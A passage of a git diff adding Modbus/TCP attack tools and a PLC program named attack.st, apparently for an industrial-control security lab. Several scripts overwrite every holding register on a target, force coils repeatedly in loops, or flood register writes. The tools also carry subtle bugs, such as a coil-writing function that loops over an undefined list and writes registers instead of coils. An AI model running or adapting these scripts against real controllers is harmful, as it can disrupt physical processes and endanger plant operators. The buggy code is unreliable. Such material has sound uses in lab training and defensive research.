b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/write_all_holding_registers.py b/modbus/misc/write_all_holding_registers.py new file mode 100644 index 0000000..ae6fa15 --- /dev/null +++ b/modbus/misc/write_all_holding_registers.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +File: write_all_holding_registers.py +Desc: Write all holding registers on a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Write all holding registries on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the writer. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the writer. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-v", "--value", dest="value", help="Value that will be written. Defaults to 7777", type=int, metavar="VALUE", default=7777) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target given\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = [] + addr = 1 + for addr in range(args.start_address, args.end_address): + hr = client.write_registers(addr, args.value, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 16: # if we succeeded writing stuff. code = 0x10 + results.append(addr) + # if it fails, hr.function = 144 (0x90), cf modbus doc + + client.close() + print 'Register writing is finished (%d addresses were tried)' % (args.end_address-args.start_address+1) + print 'Writing was successful on these %d addresses:' % len(results) + print results + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/monitor_muiltiple.py b/modbus/monitor_muiltiple.py new file mode 100644 index 0000000..5b8b46f --- /dev/null +++ b/modbus/monitor_muiltiple.py @@ -0,0 +1,192 @@ +#!/usr/bin/env python + +""" +File: monitor_multiple.py +Desc: Read all registers from a TCP MODBUS Slave +""" +__author__ = '0xRoM' + +from argparse import ArgumentParser, ArgumentTypeError, Action +from pyModbusTCP.client import ModbusClient +import time +import sys +import re + +class style(): + BLACK = '\033[30m' + RED = '\033[31m' + GREEN = '\033[32m' + YELLOW = '\033[33m' + BLUE = '\033[34m' + MAGENTA = '\033[35m' + CYAN = '\033[36m' + WHITE = '\033[37m' + BOLD = '\33[1m' + UNDERLINE = '\033[4m' + RESET = '\033[0m' + +class InflateRange(Action): + def __call__(self, parser, namespace, values, option_string=None): + #print('%r %r %r' % (namespace, values, option_string)) + lst = [] + for string in values: + #print 'in string:',string + if '-' in string: + m = re.match(r'(\d+)(?:-(\d+))?$', string) + # ^ (or use .split('-'). anyway you like.) + if not m: + raise ArgumentTypeError("'" + string + "' is not a range of number. Expected forms like '0-5' or '2'.") + start = m.group(1) + end = m.group(2) or start + lst.extend(list(range(int(start,10), int(end,10)+1))) + else: + lst.append(int(string)) + setattr(namespace, self.dest, lst) + +parser = ArgumentParser() +parser.add_argument('-co', '--coil', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-ho', '--hold', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-di', '--discrete', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-in', '--input', action=InflateRange, nargs='*', required=False, help='list of addresses') +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) + +args = parser.parse_args() +print("### watch list ###") + +total = 0 +if args.coil: + print(style.BOLD+"coils: "+style.RESET+"("+str(len(args.coil))+")"+str(args.coil)) + total += len(args.coil) +if args.hold: + print(style.BOLD+"hold reg: "+style.RESET+"("+str(len(args.hold))+")"+str(args.hold)) + total += len(args.hold) +if args.discrete: + print(style.BOLD+"discrete: "+style.RESET+"("+str(len(args.discrete))+")"+str(args.discrete)) + total += len(args.discrete) +if args.input: + print(style.BOLD+"input reg: "+style.RESET+"("+str(len(args.input))+")"+str(args.input)) + total += len(args.input) +print(style.BOLD+"Total = "+str(total)+style.RESET) +print("------------------") + +co_orig={} +ho_orig={} +di_orig={} +in_orig={} +co_mod={} +ho_mod={} +di_mod={} +in_mod={} +co_prev={} +ho_prev={} +di_prev={} +in_prev={} +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=args.timeout) + +if args.coil: + for i in args.coil: + co_orig[i]=client.read_coils(i,1) + co_mod[i] = style.RESET + co_prev[i] = co_orig[i] +if args.hold: + for i in args.hold: + ho_orig[i]=client.read_holding_registers(i,1) + if ho_orig[i] == None: + ho_orig[i] = " " + ho_mod[i] = style.RESET + ho_prev[i] = ho_orig[i] +if args.discrete: + for i in args.discrete: + di_orig[i]=client.read_discrete_inputs(i,1) + di_mod[i] = style.RESET + di_prev[i] = di_orig[i] +if args.input: + for i in args.input: + in_orig[i]=client.read_input_registers(i,1) + if in_orig[i] == None: + in_orig[i] = " " + in_mod[i] = style.RESET + in_prev[i] = in_orig[i] + +while True: + co_new={} + ho_new={} + di_new={} + in_new={} + if args.coil: + for i in args.coil: + co_new[i]=client.read_coils(i,1) + if co_new[i] == None: + co_new[i] = "0" + co_mod[i] = style.CYAN + else: + if co_new[i][0] == 1 and co_prev[i][0] == 0: + co_mod[i] = style.GREEN + if co_new[i][0] == 0 and co_prev[i][0] == 1: + co_mod[i] = style.RED + co_prev[i] = co_new[i] + + if args.hold: + for i in args.hold: + ho_new[i]=client.read_holding_registers(i,1) + if ho_new[i] == None: + ho_new[i] = " " + else: + if ho_new[i] > ho_prev[i]: + ho_mod[i] = style.GREEN + if ho_new[i] < ho_prev[i]: + ho_mod[i] = style.RED + ho_prev[i] = ho_new[i] + + if args.discrete: + for i in args.discrete: + di_new[i]=client.read_discrete_inputs(i,1) + if di_new[i] == None: + di_new[i] = "0" + di_mod[i] = style.CYAN + else: + if di_new[i][0] == 1 and di_prev[i][0] == 0: + di_mod[i] = style.GREEN + if di_new[i][0] == 0 and di_prev[i][0] == 1: + di_mod[i] = style.RED + di_prev[i] = di_new[i] + + if args.input: + for i in args.input: + in_new[i]=client.read_input_registers(i,1) + if in_new[i] == None: + in_new[i] = " " + else: + if in_new[i] > in_prev[i]: + in_mod[i] = style.GREEN + if in_new[i] < in_prev[i]: + in_mod[i] = style.RED + in_prev[i] = in_new[i] + + sys.stdout.flush() + output = '\r' + if args.coil: + output += '['+style.BOLD+'coils:'+style.RESET + for i in co_new: + output += style.RESET+'['+str(co_mod[i])+str(int(co_new[i][0]))+style.RESET+']' + output += ']' + if args.hold: + output += '['+style.BOLD+'hold regs:'+style.RESET + for i in ho_new: + output += style.RESET+'['+str(ho_mod[i])+str(ho_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + if args.discrete: + output += '['+style.BOLD+'discrete:'+style.RESET + for i in di_new: + output += style.RESET+'['+str(di_mod[i])+str(int(di_new[i][0]))+style.RESET+']' + output += ']' + if args.input: + output += '['+style.BOLD+'input regs:'+style.RESET + for i in in_new: + output += style.RESET+'['+str(in_mod[i])+str(in_new[i][0]).rjust(5, ' ')+style.RESET+']' + output += ']' + + print output, + time.sleep(args.timeout) \ No newline at end of file diff --git a/modbus/set_coil.py b/modbus/set_coil.py new file mode 100644 index 0000000..02ab399 --- /dev/null +++ b/modbus/set_coil.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +File: set_coil.py +Desc: set a specific coil to a specific value +""" +__author__ = '0xRoM' +from argparse import ArgumentParser, ArgumentTypeError +from pyModbusTCP.client import ModbusClient +import time +import sys + +parser = ArgumentParser() +parser.add_argument('-i','--ipaddress', action='store', type=str, required=True, help='Input IP Address') +parser.add_argument('-p','--port', action='store', type=int, required=False, help='Port Number', default=502) +parser.add_argument('-c','--coil', action='store', type=int, required=True, help='Coil Number', default=0) +parser.add_argument('-tr','--true', action='store_true', required=False, help='True if set') +parser.add_argument('-l','--loop', action='store_true', required=False, help='loop on') +parser.add_argument('-t','--timeout', action='store', type=float, required=False, help='request every X seconds', default=2) +args = parser.parse_args() + +client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) +if args.true: + client.write_single_coil(args.coil,True) +else: + client.write_single_coil(args.coil,False) + +if args.loop: + i=1 + while True: + client=ModbusClient(host=args.ipaddress,port=args.port,auto_open=True,auto_close=True,timeout=10) + if args.true: + client.write_single_coil(args.coil,True) + else: + client.write_single_coil(args.coil,False) + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(args.timeout) + diff --git a/modbus/test_coil_true.py b/modbus/test_coil_true.py new file mode 100644 index 0000000..d2e8631 --- /dev/null +++ b/modbus/test_coil_true.py @@ -0,0 +1,15 @@ +#!/usr/bin/python +from pymodbus.client.sync import ModbusTcpClient +import time +import sys + +i=1 +t_end = time.time() + 60 * 1 # 60s X 1min +while time.time() < t_end: + client = ModbusTcpClient(sys.argv[1]) + client.write_coils(40, [True, True, True]*4) # Ref #, followed by coil settings in list form + client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 +print "Done" diff --git a/modbus/test_hold_int.py b/modbus/test_hold_int.py new file mode 100644 index 0000000..8be7d0d --- /dev/null +++ b/modbus/test_hold_int.py @@ -0,0 +1,21 @@ +#!/usr/bin/python +from pyModbusTCP.client import ModbusClient +import time +import sys + +i=1 +client=ModbusClient(host=sys.argv[1],port=502,auto_open=True,auto_close=True,timeout=10) + +while True: + #client = ModbusTcpClient(sys.argv[1]) + #client.write_single_register(0,65535) # ref #, followed by no to store + #client.write_single_register(1,65535) # ref #, followed by no to store + #client.write_single_register(2,0) # ref #, followed by no to store + client.write_single_register(3,0) # ref #, followed by no to store + #client.write_multiple_registers(0, [65535,65535,2,2]) + #client.close() + print '\r>>packet: %d' % i, + sys.stdout.flush() + i+=1 + time.sleep(0.2) +print "Done" diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.st b/plc/GRFICS_Workstation_Docs/Documents/attack.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : 